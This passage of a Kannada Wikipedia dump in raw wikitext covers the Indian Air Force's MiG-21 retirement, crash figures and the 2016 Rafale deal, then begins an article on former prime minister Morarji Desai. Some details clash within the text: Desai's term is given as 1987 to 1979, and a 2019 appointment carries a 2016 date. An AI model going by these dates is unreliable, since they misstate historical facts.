ನಿವೃತ್ತಿಗೊಳಿಸಬೇಕಾಗಿತ್ತು. ಆದರೆ ಇವುಗಳಿಗೆ ಸರಿಸಮನಾದ ಯುದ್ಧ ವಿಮಾನ ವಾಯುಪಡೆಯಲ್ಲಿ ಇಲ್ಲದ ಕಾರಣ ಇವುಗಳ ಸೇವೆಯನ್ನು ಮುಂದುವರೆಸಲಾಗಿದೆ.''''' *'''ಮಿಗ್‌–21 ಎಂಎಫ್‌ ಮತ್ತು ಮಿಗ್ –21 ಬಿಸನ್‌ ಎಂಬ ಎರಡು ಅವತರಣಿಕೆಯ ವಿಮಾನಗಳು ಸೇವೆಯಲ್ಲಿದ್ದವು. ಈಗ ಎಂಎಫ್‌ ಸರಣಿಯ ವಿಮಾನಗಳನ್ನು ನಿವೃತ್ತಿ ಮಾಡಲಾಗಿದೆ. ಎಚ್‌ಎಎಲ್‌ ತಯಾರಿಸಿದ [[ಎಚ್ಎಎಲ್ ತೇಜಸ್]] ಲಘು ಯುದ್ಧ ವಿಮಾನಗಳು ಸೇವೆಗೆ ಲಭ್ಯವಾದ ನಂತರ ಬಿಸನ್‌ ಸರಣಿಯ ಮಿಗ್‌–21ಗಳನ್ನೂ ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿಗೊಳಿಸಲಾಗುತ್ತದೆ.ಶ್ರೀನಗರ: (ತಾಂತ್ರಿಕ ಸಮಸ್ಯೆಯಿಂದ ಮಿಗ್–21 ಯುದ್ಧ ವಿಮಾನವು ತುರ್ತು ಭೂಸ್ಪರ್ಶ ಮಾಡಿರುವ ಘಟನೆ ಮಂಗಳವಾರ 20 Sep, 2016 ನಂದು ಶ್ರೀನಗರ ವಿಮಾನ ನಿಲ್ದಾಣದಲ್ಲಿ ನಡೆದಿದೆ. ಘಟನೆಯಲ್ಲಿ ಫೈಲಟ್ ಸೇರಿದಂತೆ ಯಾರಿಗೂ ಅಪಾಯ ಆಗಿಲ್ಲ ಎಂದು ಮೂಲಗಳು ತಿಳಿಸಿವೆ.''' ==ವಿವರ== * ತಯಾರಿಕಾ ಸಂಸ್ಥೆ: ಸೋವಿಯತ್‌ ಒಕ್ಕೂಟದ ಮಿಕೊಯಾನ್ ಗೌರೆವಿಚ್ * ತಾಂತ್ರಿಕ ವಿವರ * 15.7 ಮೀಟರ್ ಉದ್ದ * 4.5 ಮೀಟರ್ ಎತ್ತರ * 7.15 ಮೀಟರ್ ರೆಕ್ಕೆಗಳ ಅಗಲ * 6,050 ಕೆ.ಜಿ ಖಾಲಿ ತೂಕ * 10,050 ಕೆ.ಜಿ ಭರ್ತಿ ತೂಕ * 14 ಸಾವಿರಕ್ಕಿಂತ ಹೆಚ್ಚು ವಿಮಾನ ತಯಾರಿ * 2,050 ಕಿ.ಮೀ ವೇಗ * 54,500 ಅಡಿ ಎತ್ತರದಲ್ಲಿ ಹಾರಾಟ ನಡೆಸುವ ಸಾಮರ್ಥ್ಯ * 54,500 ಅಡಿ ಎತ್ತರದಲ್ಲಿ ಹಾರಾಟ ನಡೆಸುವ ಸಾಮರ್ಥ್ಯ =='''ಸೇರ್ಪಡೆ ಮತ್ತು ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿ'''== * '''1963ರಲ್ಲಿ ಭಾರತೀಯ ವಾಯುಪಡೆಗೆ ಮಿಗ್‌ ಯುದ್ಧವಿಮಾನಗಳ ಸೇರ್ಪಡೆ''' * '''872 ಮಿಗ್–21 ಎಂಎಫ್‌ ಮತ್ತು ಮಿಗ್‌–21 ಬಿಸನ್‌ ವಿಮಾನಗಳ ಸಂಖ್ಯೆ''' * '''485 ಈವರೆಗೆ ಪತನವಾಗಿರುವ ಎರಡೂ ಅವತರಣಿಕೆಯ ವಿಮಾನಗಳ ಸಂಖ್ಯೆ''' * '''171 ಪತನಗಳಲ್ಲಿ ಮೃತಪಟ್ಟಿರುವ ಪೈಲಟ್‌ಗಳ ಸಂಖ್ಯೆ''' * '''2013ರ ಡಿಸೆಂಬರ್‌ ಮಿಗ್‌–21 ಎಂಎಫ್‌ ವಿಮಾನಗಳು ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿ''' * '''8 ಪತನ ಸಂಬಂಧಿ ಘಟನೆಗಳಲ್ಲಿ ಮೃತಪಟ್ಟ ತುರ್ತು ಸೇವೆಗಳ ಸಿಬ್ಬಂದಿ''' * 4'''0 ಪತನಗಳಲ್ಲಿ ಮೃತಪಟ್ಟ ನಾಗರಿಕರು''' * '''150 ಈಗ ಸೇವೆಯಲ್ಲಿರುವ ಮಿಗ್–21 ಬಿಸನ್ ವಿಮಾನಗಳ ಸಂಖ್ಯೆ''' * '''2022‌ ಮಿಗ್‌–21 ವಿಮಾನಗಳು ಸಂಪೂರ್ಣವಾಗಿ ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿಯಾ''' ಗಲಿವೆ <ref>[http://www.prajavani.net/news/article/2016/09/21/439465.htmlಮತ್ತೆ ಮತ್ತೆ ಮಿಗ್–21 ಯುದ್ಧ ವಿಮಾನ ಅಪಘಾತ]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ==ರಫೆಲ್ ಜೆಟ್ ಒಪ್ಪಂದ== *ವಿಶೇಷ ಲೇಖನ:[[ರಫೆಲ್ ಯುದ್ಧವಿಮಾನ - ಭಾರತ ಮತ್ತು ಫ್ರಾನ್ಸ್ ಒಪ್ಪಂದ]] [[File:Dassault Rafale Taxies to the runway at Aero India 2011 (8th edition of Aero India).jpg|320px|right|thumb|ದಸ್ಸಾಲ್ಟ ರಾಫೇಲ್ ಯುದ್ಧವಿಮಾನ ೨೦೧೧ರ ಪ್ರದರ್ಶನದಲ್ಲಿ (at Aero India 2011 -8th edition of Aero India)]] *ಫೇಲ್ ಯುದ್ಧ ವಿಮಾನಗಳ ಖರೀದಿಗೆ ರೂ.59 ಸಾವಿರ ಕೋಟಿ ಮೊತ್ತದ ಒಪ್ಪಂದಕ್ಕೆ ಭಾರತ ಮತ್ತು ಫ್ರಾನ್ಸ್‌ ದಿ.23 Sep 2016:ಶುಕ್ರವಾರ ಸಹಿ ಮಾಡಿದವು. ಅತ್ಯಾಧುನಿಕ ಕ್ಷಿಪಣಿ ಹಾಗೂ ಶಸ್ತ್ರಾಸ್ತ್ರ ಹೊತ್ತೊಯ್ಯುವ ಸಾಮರ್ಥ್ಯ ಇರುವ ಈ ಯುದ್ಧ ವಿಮಾನ, ಭಾರತೀಯ ವಾಯುಪಡೆಗೆ ಪಾಕಿಸ್ತಾನಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಸಾಮರ್ಥ್ಯವನ್ನು ನೀಡಲಿದೆ ಎನ್ನಲಾಗಿದೆ. ಭಾರತದ ರಕ್ಷಣಾ ಸಚಿವ ಮನೋಹರ ಪರಿಕ್ಕರ್ ಮತ್ತು ಫ್ರಾನ್ಸ್‌ನ ರಕ್ಷಣಾ ಸಚಿವ ಜೀನ್ ಯವೆಸ್‌ ಲೆ ಡ್ರಿಯಾನ್ ಅವರ ಸಮ್ಮುಖದಲ್ಲಿ ಈ ಒಪ್ಪಂದ ನಡೆದಿದೆ. 16 ತಿಂಗಳ ಹಿಂದೆ ಫ್ರಾನ್ಸ್‌ಗೆ ಭೇಟಿ ನೀಡಿದ್ದ ಪ್ರಧಾನಿ ನರೇಂದ್ರ ಮೋದಿ ಅವರು, 36 ರಫೇಲ್ ಯುದ್ಧ ವಿಮಾನಗಳನ್ನು ಖರೀದಿಸಲಾಗುವುದು ಎಂದು ಘೋಷಿಸಿದ್ದರು.<ref>{{Cite web |url=http://www.prajavani.net/news/article/2016/09/24/440147.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2016-09-24 |archive-date=2016-09-24 |archive-url=https://web.archive.org/web/20160924160129/http://www.prajavani.net/news/article/2016/09/24/440147.html |url-status=dead }}</ref> *ಫ್ರೆಂಚ್ ನ ರಕ್ಷಣಾ ಸಚಿವ ಜೀನ್ ಯೆಸ್ ಲೆ ಡ್ರಿಯಾನ್ ಅವರು ನವದೆಹಲಿಗೆ ಆಗಮಿಸುತ್ತಿದ್ದು ಬಹುನಿರೀಕ್ಷಿತ ರಫೆಲ್ ಜೆಟ್ ಒಪ್ಪಂದಕ್ಕೆ ಭಾರತದ ರಕ್ಷಣಾ ಸಚಿವ ಮನೋಹರ್ ಪರಿಕ್ಕರ್ ಸಹಿಹಾಕಿದ್ದಾರೆ. ಫ್ರಾನ್ಸ್ ನೊಂದಿಗೆ ಚೌಕಾಶಿ ಮೂಲಕ ಭಾರತ 7.8 ಬಿಲಿಯನ್ ಯುರೋಗಳಿಗೆ 36 ರಾಫೆಲ್ ಜೆಟ್ ಗಳನ್ನು ಖರೀದಿಸುವುದು ಅಂತಿಮವಾಗಿದ್ದು, ಒಪ್ಪಂದ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ರಾಫೆಲ್ ಜೆಟ್ ತಯಾರಕ ಸಂಸ್ಥೆ ಡಸ್ಸಾಲ್ಟ್ ಏವಿಯೇಷನ್ ಸೇರಿದಂತೆ ಫ್ರೆಂಚ್ ನ ಹಲವು ಸಂಸ್ಥೆಗಳ ಸಿಇಒ ಗಳು ಭಾಗಿಯಾಗಲಿದ್ದಾರೆ. *ಯುಪಿಎ ಸರ್ಕಾರದ ಅವಧಿಯಲ್ಲಿ ಮಾಡಿಕೊಳ್ಳಲಾಗಿದ್ದ ಒಪ್ಪಂದವನ್ನು ಮೋದಿ ಸರ್ಕಾರ ರದ್ದುಗೊಳಿಸಿ ಹೊಸ ಒಪ್ಪಂದಕ್ಕೆ ಮುಂದಾಗಿದ್ದು, ಇದರಿಂದಾಗಿ ಭಾರತಕ್ಕೆ 750 ಮಿಲಿಯನ್ ಯುರೋಗಳಷ್ಟು ಹಣ ಉಳಿತಾಯವಾಗಲಿದೆ ಎಂದು ವಿಶ್ಲೇಷಿಸಲಾಗುತ್ತಿದೆ. ಒಪ್ಪಂದ ನಡೆದ 36 ತಿಂಗಳಲ್ಲಿ ರಾಫೆಲ್ ಜೆಟ್ ಭಾರತೀಯ ಸೇನೆಗೆ ಸೇರ್ಪಡೆಗೊಳ್ಳಲಿದ್ದು, 66 ತಿಂಗಳಲ್ಲಿ ಒಟ್ಟು 36 ರಾಫೆಲ್ ಜೆಟ್ ಗಳು ಭಾರತದ ಕೈಸೇರಲಿವೆ. *ಆರಂಭಿಕ ಯೋಜನೆ 126 ಜೆಟ್ ಖರೀದಿಸುವುದಿದ್ದರೂ, ಭಾರತವು ಅದನ್ನು 36 ಜೆಟ್ ಗಳನ್ನು, ಅದೂ ಸಿದ್ಧ ಸ್ಥಿತಿಯಲ್ಲಿ ಕೊಳ್ಳುವ ತೀರ್ಮಾನಕ್ಕೆ ಬಂದು ಮುಟ್ಟಿತು. ಹೀಗಾಗಿ ಜೆಟ್ ವಿಮಾನದ ದರ ಮೊದಲು ಒಪ್ಪಿದ್ದಕ್ಕಿಂತ ಹೆಚ್ಚೇ ಆಗಿದೆ.<ref>[http://www.thehindu.com/specials/in-depth/all-you-need-to-know-about-rafale-deal/article8483412.ece All you need to know about the Rafale deal DEEPALAKSHMI K.]</ref><ref>[https://m.timesofindia.com/india/the-rafale-deal-10-facts/articleshow/61769792.cms]</ref> *ಈ ರಾಫೆಲ್ ಮೆಟೊರೊ ಶ್ರೇಣಿಯ (ದೂರವ್ಯಾಪಿ) ಕ್ಷಿಪಣಿಯಾಗಿದ್ದು, 150 ಕಿ.ಮೀ ಸಾಗುವ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿದೆ. ದೃಷ್ಠಿವ್ಯಾಪಿಗೂ ಮಿಗಿಲಾಗಿ ಸಾಗುವ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿರುವ ಈ ಕ್ಷಿಪಣಿಯಲ್ಲಿ ಗುರಿ ತಪ್ಪುವ ಸಾಧ್ಯತೆ ಇತರ ಕ್ಷಿಪಣಿಗಳಿಗಿಂತ ಮೂರುಪಟ್ಟಿ ಕಡಿಮೆ ಇದೆ. ರಾಫೆಲ್ ಜೆಟ್ ಖರೀದಿ ಒಪ್ಪಂದಕ್ಕೆ ಜನವರಿ ತಿಂಗಳಲ್ಲಿ ಪ್ರಾನ್ಸ್ ಮತ್ತು ಭಾರತ ಸರ್ಕಾರಗಳು ಹಣಕಾಸು ವಿಚಾರ ಹೊರತುಪಡಿಸಿ ಸಹಿ ಹಾಕಿದ್ದವು.<ref>[http://www.kannadaprabha.com/nation/india-likely-to-ink-rafale-fighter-jet-deal-with-france-today/282444.html ರಫೆಲ್ ಜೆಟ್ ಒಪ್ಪಂದಕ್ಕೆ ಇಂದು ಸಹಿ]</ref> ===ರಫೇಲ್‌ ಜೆಟ್‌- ಮೊದಲ ಕಂತು ಆಗಮನ=== *[[:en:Dassault Rafale|Dassault Rafale]] *ಫ್ರಾನ್ಸ್ ಮತ್ತು ಭಾರತದ ನಡುವೆ ಒಪ್ಪಂದ ಏರ್ಪಟ್ಟ ನಾಲ್ಕು ವರ್ಷಗಳ ಬಳಿಕ ಮೊದಲ ಹಂತವಾಗಿ ಐದು ಯುದ್ಧ ವಿಮಾನಗಳು ಭಾರತಕ್ಕೆ ೨೯-೭-೨೦೨೦ ಬುಧವಾರ ಬಂದಿವೆ. ಈ ಹಿಂದೆ ಒಂದು ವಿಮಾನ ಬಂದಿತ್ತ. ಆ ಮೂಲಕ ಭಾರತದ ವಾಯುಸೇನೆಯ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೆಚ್ಚು ಮಾಡಿವೆ. ಪ್ರಾನ್ಸ್‌ ದೇಶದ ಪ್ರಮುಖ ವಾಯುಯಾನ ಕಂಪನಿ ರಫೇಲ್‌ನಿಂದ 36 ಯುದ್ಧವಿಮಾನಗಳನ್ನು ಖರೀದಿಸಲು ಪ್ರಧಾನಿ ಮೋದಿ ನೇತೃತ್ವದ ಎನ್‌ಡಿಎ ಸರ್ಕಾರ 2016ರ ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ ರೂ.59,000 ಕೋಟಿ ಮೊತ್ತದ ವ್ಯವಹಾರ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡಿತ್ತು.<ref>[https://www.prajavani.net/stories/india-news/from-mig-to-mirage-to-rafale-jets-india-key-fighter-aircraft-acquisitions-749304.html ರಫೇಲ್‌ ಜೆಟ್‌ ಭಾರತ ಸೈನ್ಯದ ಪರಾಕ್ರಮ ಹೆಚ್ಚಿಸಿದ ಯುದ್ದ ವಿಮಾನಗಳ ಚಿತ್ರ ಸಹಿತ ಮಾಹಿತಿ; d: 30 ಜುಲೈ 2020,]</ref> ==ಭಾರತದ ಅಗತ್ಯ== *ವಾಯುಪಡೆಯ ಉನ್ನತ ಅಧಿಕಾರಿಗಳು ಇಂದು ಭಾತರದ ಉತ್ತರ ಮತ್ತು ಪಶ್ಚಿಮ ಗಡಿ ರಕ್ಷಿಸಲು (ಪಾಕಿಸ್ತಾನ ಮತ್ತು ಚೀನಾ-ಗಡಿ) ಕನಿಷ್ಠ 42 ವಿಮಾನದಳ ತುಕಡಿಗಳು ಅಗತ್ಯವಿದೆ ಎಂದು ಹೇಳುತ್ತಾರೆ. *ಇದು ಪ್ರಸ್ತುತ ಸುಮಾರು 32 ವಿಮಾನದಳ ತುಕಡಿಗಳನ್ನು ಒಳಗೊಂಡಿದೆ, ಪ್ರತಯೊಂದರಲ್ಲಿ 18 ವಿಮಾನಗಳಿವೆ, ವಾಯುಪಡೆಯ ಪ್ರತಿನಿಧಿಗಳು ಭಾರತದ ಸಂಸತ್ತಿಗೆ ಕಳೆದ ವರ್ಷ, ಪರಮಾಣು ಶಸ್ತ್ರಸಜ್ಜಿತ ನೆರೆಯ ಪ್ರತಿಸ್ಪರ್ಧಿ ಪಾಕಿಸ್ತಾನಕ್ಕೆ ಸರಿಸಮಾನವಾಗಿ ಭಾರತ ತಂಡದ ತುಕಡಿಗಳು 2022ರ ಹೊತ್ತಿಗೆ ಕೇವಲ 25ತುಕಡಿಗೆ ಇಳಿಯಬಹುದೆಂದು ಎಚ್ಚರಿಸಿದ್ದಾರೆ.ಆದರೆ ನಿಜವಾದ ಕಾಳಜಿ ಚೀನಾ, ಪಾಕಿಸ್ತಾನದ ಮಿತ್ರರಾಷ್ಟ್ರ; ಅವರ ಮಿಲಿಟರಿ ಸಾಮರ್ಥ್ಯ ಭಾರತದಕ್ಕಿಂತ ಹೆಚ್ಚು.<ref>[http://www.hindustantimes.com/delhi-newspaper/is-a-teacher-s-job-an-office-of-profit-asks-manmohan/story-yHiqty6UaBnYdNJEV4zAvJ.html 2022ರ ಹೊತ್ತಿಗೆ ಕೇವಲ 25ತುಕಡಿಗೆ ಇಳಿಯಬಹುದು]</ref> ==ವಾಯು ಪಡೆಯ ಮುಖ್ಯಸ್ತರ ನೇಮಕ== *18 Dec, 2016 *ಏರ್‌ ಚೀಫ್‌ ಮಾರ್ಷಲ್‌ ರಾಕೇಶ್ ಸಿಂಗ್ ಭಾದೌಇರ ಅವರನ್ನು ವಾಯು ಪಡೆಯ (ಐಎಎಫ್‌) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ಕೇಂದ್ರ ಸರ್ಕಾರ ಶನಿವಾರ ನೇಮಕ ಮಾಡಿದೆ. ವಾಯುಪಡೆಯ ಮುಖ್ಯಸ್ಥರಾದ ಧನೋವಾ ಅವರು ಸೆಪ್ಟೆಂಬರ್ 30 ರಂದು ನಿವೃತ್ತರಾಗಲಿದ್ದು, ರಾಕೇಶ್ ಸಿಂಗ್ ಭಾದೌಇರ ಅವರು ಅದೇ ದಿನ ಅಧಿಕಾರ ವಹಿಸಿಕೊಳ್ಳಲಿದ್ದಾರೆ.<ref>[http://www.prajavani.net/news/article/2016/12/18/459771.html ಲೆ.ಜ. ರಾವತ್‌ ಸೇನಾ ಪಡೆ, ಧನೋವಾ ವಾಯುಪಡೆ ಮುಖ್ಯಸ್ಥ;;ಪಿಟಿಐ;30 ಸೆಪ್ಟೆಂಬರ್ , 2019]</ref> ==ಇವನ್ನೂ ನೋಡಿ== *[[ಭಾರತ]] *[[ಭಾರತೀಯ ಸೈನ್ಯ]] * [[ಭಾರತೀಯ ಭೂಸೇನೆ]] * ಭಾರತೀಯ ವಾಯುಸೇನೆ * [[ಭಾರತೀಯ ನೌಕಾಸೇನೆ]] *[[ಭಾರತೀಯ ಸೈನ್ಯ]] *[[ಭಾರತ ಮತ್ತು ಪಾಕೀಸ್ತಾನಗಳ ಆರ್ಥಿಕ ಬಲ ಮತ್ತು ಸೈನ್ಯ ಬಲ]] *[[ಕ್ಷಿಪಣಿ|ಭಾರತದಲ್ಲಿ ಕ್ಷಿಪಣಿ ವ್ವಸ್ಥೆ]] *mega Rafale fighter deal [http://timesofindia.indiatimes.com/india/india-to-ink-mega-rafale-fighter-deal-with-france-on-friday/articleshow/54447844.cms][http://timesofindia.indiatimes.com/india/deal-for-direct-acquisition-of-36-rafale-fighter-jets-in-final-stages/articleshow/54292579.cms] *[http://www.newindianexpress.com/opinion/Why-Rafale-is-a-Big-Mistake/2014/07/25/article2346825.ece Why Rafale is a Big Mistake-] *[http://www.thehindu.com/specials/in-depth/all-you-need-to-know-about-rafale-deal/article8483412.ece All you need to know about the Rafale deal] *[https://www.prajavani.net/stories/national/augusta-westland-deal-592074.html ಆಗಸ್ಟಾ ವೆಸ್ಟ್‌ಲೆಂಡ್ ಹೆಲಿಕಾಪ್ಟರ್‌] ==ಬಾಹ್ಯ ಸಂಪರ್ಕಗಳು== * [http://indianairforce.nic.in/ ಅಧಿಕೃತ ತಾಣ] * [http://www.bharat-rakshak.com/IAF/ ವಾಯುಸೇನೆಯ ಬಗ್ಗೆ ಮಾಹಿತಿ] *ನಿರ್ದಿಷ್ಟ ಕಾರ್ಯಾಚರಣೆ (ಸರ್ಜಿಕಲ್ ಸ್ಟ್ರೈಕ್) :ಅಭಿಪ್ರಾಯಗಳು;8 Oct, 2016 [http://www.prajavani.net/news/article/2016/10/08/443738.html] {{Webarchive|url=https://web.archive.org/web/20161008171316/http://www.prajavani.net/news/article/2016/10/08/443738.html |date=2016-10-08 }} *ನಿರ್ದಿಷ್ಟ ಕಾರ್ಯಾಚರಣೆ (ಸರ್ಜಿಕಲ್ ಸ್ಟ್ರೈಕ್);ಸೇನೆಯ ಹೊಟ್ಟೆ ಗಟ್ಟಿ ಮಾಡಿ!;8 Oct, 2016;[http://www.prajavani.net/news/article/2016/10/08/443740.html] {{Webarchive|url=https://web.archive.org/web/20161008150500/http://www.prajavani.net/news/article/2016/10/08/443740.html |date=2016-10-08 }} ==ಉಲ್ಲೇಖ== [[ವರ್ಗ:ಭಾರತ]] [[ವರ್ಗ:ಸಮಾಜ]] ahj59errb1gdls6pd11owy5aogvd3n1 ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ 0 1643 1116579 1064957 2022-08-24T07:11:24Z Akshitha achar 75927 wikitext text/x-wiki {{Infobox Officeholder |name = ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ |image = Morarji Desai (portrait).png |office = [[ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳ ಪಟ್ಟಿ|4ನೇ]] [[ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ]] |president = [[ಬಿ.ಡಿ.ಜತ್ತಿ|ಬಸಪ್ಪ ದಾನಪ್ಪ ಜತ್ತಿ]] <small>(Acting)</small><br/>[[ನೀಲಂ ಸಂಜೀವ ರೆಡ್ಡಿ]] |term_start = ೨೪ ಮಾರ್ಚ್ ೧೯೭೭ |term_end = ೨೮ ಜುಲೈ ೧೯೭೯ |predecessor = [[ಇಂದಿರಾ ಗಾಂಧಿ]] |successor = [[ಚರಣ್‌ಸಿಂಗ್]] |office2 = [[ಗೃಹ ಮಂತ್ರಿ (ಭಾರತ)|ಗೃಹ ಮಂತ್ರಿ]] |term_start2 = ೧ ಜುಲೈ ೧೯೭೮ |term_end2 = ೨೮ ಜುಲೈ ೧೯೭೯ |predecessor2 = [[ಚರಣ್‌ಸಿಂಗ್]] |successor2 = ಯಶವಂತರಾವ್ ಚವಾಣ್ |office4 = [[ಭಾರತದ ಉಪ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳು]] |primeminister4 = [[ಇಂದಿರಾ ಗಾಂಧಿ]] |term_start4 = ೧೩ ಮಾರ್ಚ್ ೧೯೬೭ |term_end4 = ೧೬ ಜುಲೈ ೧೯೬೯ |predecessor4 = [[ಸರ್ದಾರ್ ವಲ್ಲಭಭಾಯ್ ಪಟೇಲ್]] |successor4 = [[ಚರಣ್‌ಸಿಂಗ್]]<br/>ಜಗಜೀವನ್ ರಾಮ್ |office5 = [[ವಿತ್ತ ಸಚಿವ (ಭಾರತ)|ವಿತ್ತ ಸಚಿವ]] |primeminister5 = [[ಇಂದಿರಾ ಗಾಂಧಿ]] |term_start5 = ೧೩ ಮಾರ್ಚ್ ೧೯೬೭ |term_end5 = ೧೬ ಜುಲೈ ೧೯೬೯ |predecessor5 = ಚಿಂದ್ರ ಚೌಧುರಿ |successor5 = [[ಇಂದಿರಾ ಗಾಂಧಿ]] |primeminister6 = [[ಜವಾಹರಲಾಲ್ ನೆಹರು]] |term_start6 = ೧೩ ಮಾರ್ಛ್ ೧೯೫೮ |term_end6 = ೨೯ ಆಗಸ್ಟ್ ೧೯೬೩ |predecessor6 = [[ಜವಾಹರಲಾಲ್ ನೆಹರು]] |successor6 = ಟಿ. ಟಿ. ಕ್ರಿಷ್ಣಮಾಚಾರಿ |birth_date = {{birth date|1896|2|29|df=y}} |birth_place = ಭಾಡೇಲಿ, ಪ್ರೆಸಿಡೆನ್ಸಿ, ಬ್ರಿಟಿಷ್ ಭಾರತ |death_date = {{death date and age|1995|4|10|1896|2|29|df=y}} |death_place = [[ನವ ದೆಹಲಿ]], [[ದೆಹಲಿ]], [[ಭಾರತ]] |party = [[ಜನತಾ ದಳ]] <small>(1988–1995)</small> |otherparty = [[ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್]] <small>(೧೯೬೯ರ ಮುಂಚೆ)</small><br/>ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್-ಸಂಘ <small>(1969–1977)</small><br/>ಜನತಾ ಪಾರ್ಟಿ <small>(1977–1988)</small> |alma_mater = ವಿಲ್ಸನ್ ಕಾಲೇಜು |profession = ಸರ್ಕಾರಿ ನೌಕರ<br/>ಕಾರ್ಯಕರ್ತ |religion = }} [[ಚಿತ್ರ:Desai1937.jpg|thumb|right|ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ]] '''ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ''' ಮೊರಾರ್ಜಿ (೨೯ ಫೆಬ್ರವರಿ ೧೮೯೬ - ೧೦ ಏಪ್ರಿಲ್ ೧೯೯೫) ಒಬ್ಬ ಭಾರತೀಯ ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟಗಾರರಾಗಿದ್ದರು ಮತ್ತು ೧೯೮೭ ರಿಂದ ೧೯೭೯ ರವರೆಗೆ ಭಾರತದಲ್ಲಿ ೪ ನೇ ಪ್ರಧಾನಿಯಾಗಿ(ಜನತಾ ಪಾರ್ಟಿ) ಸರ್ಕಾರಕ್ಕೆ ಸೇವೆ ಸಲ್ಲಿಸಿದರು. ಅವರ ಸುದೀರ್ಘ ವೃತ್ತಿಜೀವನದ ಅವಧಿಯಲ್ಲಿ, ಅವರು ಹಲವಾರು ಪ್ರಮುಖ ಹುದ್ದೆಗಳನ್ನು ಸರ್ಕಾರದಲ್ಲಿ ಹೊಂದಿದ್ದರು: ಮುಂಬಯಿ ರಾಜ್ಯದ ಮುಖ್ಯಮಂತ್ರಿ, ಗೃಹ ಸಚಿವ, ಹಣಕಾಸು ಸಚಿವ ಮತ್ತು ಭಾರತದ ಉಪ ಪ್ರಧಾನ ಮಂತ್ರಿ. ಅಂತರರಾಷ್ಟ್ರೀಯ ಸನ್ನಿವೇಶದಲ್ಲಿ, ದೇಸಾಯಿ ತಮ್ಮ ಶಾಂತಿ ಕ್ರಿಯಾವಾದಕ್ಕಾಗಿ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯನ್ನು ಪಡೆದಿದ್ದಾರೆ ಮತ್ತು ಎರಡು ಪ್ರತಿಸ್ಪರ್ಧಿ ದಕ್ಷಿಣ ಏಷ್ಯಾದ ರಾಜ್ಯಗಳು, ಪಾಕಿಸ್ತಾನ ಮತ್ತು [[ಭಾರತ]] ನಡುವೆ ಶಾಂತಿ ಆರಂಭಿಸಲು ಪ್ರಯತ್ನಗಳನ್ನು ಮಾಡಿದ್ದಾರೆ. ೧೯೭೪ ರಲ್ಲಿ ಭಾರತದ ಮೊದಲ ಪರಮಾಣು ಸ್ಫೋಟವಾದ ನಂತರ, ದೇಸಾಯಿ ಚೀನಾ ಮತ್ತು ಪಾಕಿಸ್ತಾನದೊಂದಿಗೆ ಸ್ನೇಹ ಸಂಬಂಧವನ್ನು ಪುನಃಸ್ಥಾಪಿಸಲು ಸಹಾಯ ಮಾಡಿದರು ಮತ್ತು ೧೯೭೧ ರ ಇಂಡೋ-ಪಾಕಿಸ್ತಾನಿ ಯುದ್ಧದಂತಹ ಸಶಸ್ತ್ರ ಸಂಘರ್ಷವನ್ನು ತಪ್ಪಿಸಲು ಪ್ರತಿಜ್ಞೆ ಮಾಡಿದರು. ==ಆರಂಭಿಕ ಜೀವನ== ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಅವರು ೧೮೯೬ ರ ಫೆಬ್ರುವರಿ ೨೯ ರಂದು ಮುಂಬಯಿ ಪ್ರೆಸಿಡೆನ್ಸಿ (ಈಗ ಗುಜರಾತ್ನಲ್ಲಿ) ನ ಬಲ್ಸೇರಿ ಜಿಲ್ಲೆಯ ಭಾಡೆಲಿ ಗ್ರಾಮದಲ್ಲಿ ಜನಿಸಿದರು. ಎಂಟು ಮಕ್ಕಳು ಅತ್ಯಂತ ಹಿರಿಯರು. ಅವರ ತಂದೆ ಶಾಲೆಯ ಶಿಕ್ಷಕರಾಗಿದ್ದರು.<ref>[http://www.independent.co.uk/news/people/obituary-morarji-desai-1615165.html Obituary: Morarji Desai] by Kuldip Singh</ref> ದೇಸಾಯಿ ಸೌರಾಷ್ಟ್ರದಲ್ಲಿರುವ ಕುಂಡ್ಲಾ ಶಾಲೆಯಲ್ಲಿ ತನ್ನ ಪ್ರಾಥಮಿಕ ಶಾಲಾ ಶಿಕ್ಷಣಕ್ಕೆ ಒಳಗಾದರು, ಸಾವರ್ಕುಂಡ್ಲಾ ಈಗ ಜೆ.ವಿ. ಮೋದಿ ಶಾಲೆ ಎಂದು ಕರೆಯುತ್ತಾರೆ ಮತ್ತು ನಂತರ ಬಲ್ ಅವಾ ಬಾಯ್ ಹೈಸ್ಕೂಲ್, ವಲ್ಸಾದ್ ಸೇರಿದರು. ಮುಂಬೈಯ ವಿಲ್ಸನ್ ಕಾಲೇಜ್ನಿಂದ ಪದವೀಧರರಾದ ನಂತರ, ಅವರು [https://encyclopedia2.thefreedictionary.com/Gujarath ಗುಜರಾತ್ನಲ್ಲಿ] ನಾಗರಿಕ ಸೇವೆಗೆ ಸೇರಿದರು. ಅಲ್ಲಿ ೧೯೨೭-೨೮ರ ಗಲಭೆಗಳ ಸಮಯದಲ್ಲಿ ಹಿಂದುಗಳ ಮೇಲೆ ಮೃದುವಾಗಿ ಹೋಗುವ ಅಪರಾಧವೆಂದು ಪರಿಗಣಿಸಲ್ಪಟ್ಟು ಮೇ ೧೯೩೦ ರಲ್ಲಿ 